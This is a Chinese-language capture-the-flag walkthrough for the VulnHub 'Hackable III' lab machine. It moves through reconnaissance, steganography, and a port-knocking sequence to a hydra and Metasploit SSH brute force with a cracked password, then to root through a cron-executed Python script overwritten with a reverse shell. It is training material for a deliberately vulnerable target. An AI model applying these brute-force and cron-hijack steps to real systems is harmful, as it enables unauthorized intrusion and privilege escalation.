靶机下载地址: https://www.vulnhub.com/entry/hackable-iii,720/
教程链接地址: https://blog.csdn.net/weixin_44107836/article/details/119411475
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 HACKABLE3:桥接于 192.168.31.1 的网卡,ip 未知
识别同一网卡下的 ip 地址,并且过滤出提前已知的 MAC 地址,打印出所 有的机器的 ip 地址并扫描其端口,最后删除多余文件
sudo arp-scan -l > 1.txt ; cat 1.txt | grep 'a0' > 2.txt ; rm -f 1.txt ; cat 2.txt | awk '{print$1}' > ip.txt; rm -f 2.txt; sudo nmap -PA -iL ip.txt;rm -f ip.txt

-> 靶机 ip:192.168.31.47 靶机开放端口 80 (22 被过滤)
# 网站信息收集
打开 http://192.168.31.47/ 进行信息收集

查看网页源码,提示需要尝试上次日记中使用过的端口碰撞技术来解锁
ssh 端口,并且告诉老板 approve.jpg,并且有一个公司域名 hackable3.com,此外还有一个用户名 jubiscleudo。

修改本地 hosts 文件,将 hackable3.com 解析到靶机 ip,打开 hackable3.com

目录扫描 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.47

查看目录:http://hackable3.com/login.php

查看目录:http://hackable3.com/3.jpg

这个 url 地址就很奇怪
# Steghide 图片隐写
此图片下载下来进行解析一番
wget [http://hackable3.com/3.jpg -q
steghide extract -sf 3.jpg
这里使用了文件隐写,Steghide 是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且不会注意到图片或音频文件发生了任何的改变。而且,你的秘密文件已经隐藏在了原始图片或音频文件之中了。

爆出了一个 65535 的端口,猜测是需要端口敲门的一个端口号
# 有效目录筛选
继续访问其他的 url 地址: http://hackable3.com/2.txt

找到了 2.txt 这个文件,有 brainfuck 加密的一段密文,用在线网址进行解密

发现了第二个数字 4444,继续对未搜寻的目标网址进行信息收集
http://hackable3.com/config/1.txt

找到了 1.txt,直接通过终端进行 base64 解密,找到了第三个数字 10000

查看目录:http://hackable3.com/config.php

找到了一些数据库的配置信息,但是没有利用价值
查看目录:http://hackable3.com/backup/wordlist.txt

找到一个可能是密码的一个清单
至此信息收集工作完毕,简单总结一下我们收集到的信息
http://hackable3.com/--> 疑似用户名 jubiscleudo
http://hackable3.com/backup/wordlist.txt --> 疑似密码清单
http://hackable3.com/config/1.txt --> 10000
http://hackable3.com/css/2.txt --> 4444
http://hackable3.com/3.jpg --> steghide extract -sf 3.jpg --> 65535
# shell 脚本端口敲门
knockd 服务:即敲门端口服务,该服务通过动态的添加 iptables 规则来隐藏系统开启的服务,使用自定义的一系列序列号来 “敲门”,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来 “关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:
/etc/knockd.conf
再次检查 22 端口确定是被过滤掉的

尝试用 nmap 依次去访问信息搜集出来的三个端口进行端口敲门
sudo nmap -p 4444,10000,65535 -A 192.168.31.223

-> 端口敲门失败了,可能是防火墙规则有一定的限制,比如两个端口之间的敲门间隔,两个端口之间的敲门顺序等
利用 shell 命令进行批量端口敲门
for i in 10000,4444,65535;do sudo nmap -p $i 192.168.31.48;done

这种方法依次对三个端口进行敲门,不分前后顺序,所以敲门依旧失败了,将逗号去掉,依次对三个端口进行敲门
for i in 10000 4444 65535;do sudo nmap -p $i 192.168.31.48;done

端口敲门成功后,就可以用字典进行爆破 ssh 协议了
# hydra 或 msf 爆破 ssh
用户名就用我们信息收集阶段收集到的敏感用户名 jubiscleudo,密码选取在网站上看到的疑似密码的文件
wget http://hackable3.com/backup/wordlist.txt -O passwd.txt

使用 hydra 尝试 ssh 的爆破
hydra -l jubiscleudo -P wordlist.txt ssh://192.168.31.48 -t 4 -f -I -vV -o hydra.ssh


-> 爆破成功,拿到了 jubiscleudo 用户的密码为 onlymy
也可以用 msfconsole 进行 ssh 的爆破
使用 msfconsole 的方法设置参数,如使用 ssh_login 的模块,设置攻击 ip,爆破成功后的行为,线程,日志,密码清单,密码用户等;可以通过 options 选项查看该设置哪些参数
1 | msfconsole |

设置好参数之后通过 run 命令开始执行 payload


-> 爆破成功之后爆出来了用户名和密码 jubiscleudo:onlymy
# 数据库备份文件泄露
登陆服务器 ssh 192.168.31.48 -l jubiscleudo

对服务器的版本,SUID,pkexec,id 组,sudo,cron 检测后没有发现敏感文件,寻找服务器上是否有敏感的遗留文件

在网站主目录下找到一个备份文件

在此文件中看到了数据库的用户名和密码
-> (‘DB_USERNAME’, ‘hackable_3’);
-> (‘DB_PASSWORD’, ‘TrOLLED_3’);
mysql 尝试登录此数据库

用 mysql 尝试登陆时却登陆失败了,那么这个用户名的意义何在?
查看一下此系统中存在哪些用户,发现就是有一个 hackable_3 的用户,直接切换到 hackable_3 用户成功
# 定时任务提权
看到 id 组属于 lxd,可以 lxd 提权,

这里我们用其他方式提权,给靶机上下载一个 pspy64 s 的监控,看定时任务

靶机上接受到 pspy64s 后,配置可执行权限开始跑程序

有一个 python 脚本定时被执行

尝试查看次文件时失败了,直接通过 cat 写反弹 shell 的脚本
1 | cat > /scripts/to_hackable_3.py << EOF |

监听端口,等待 shell 反弹

-> py 被执行后,成功拿到 root 权限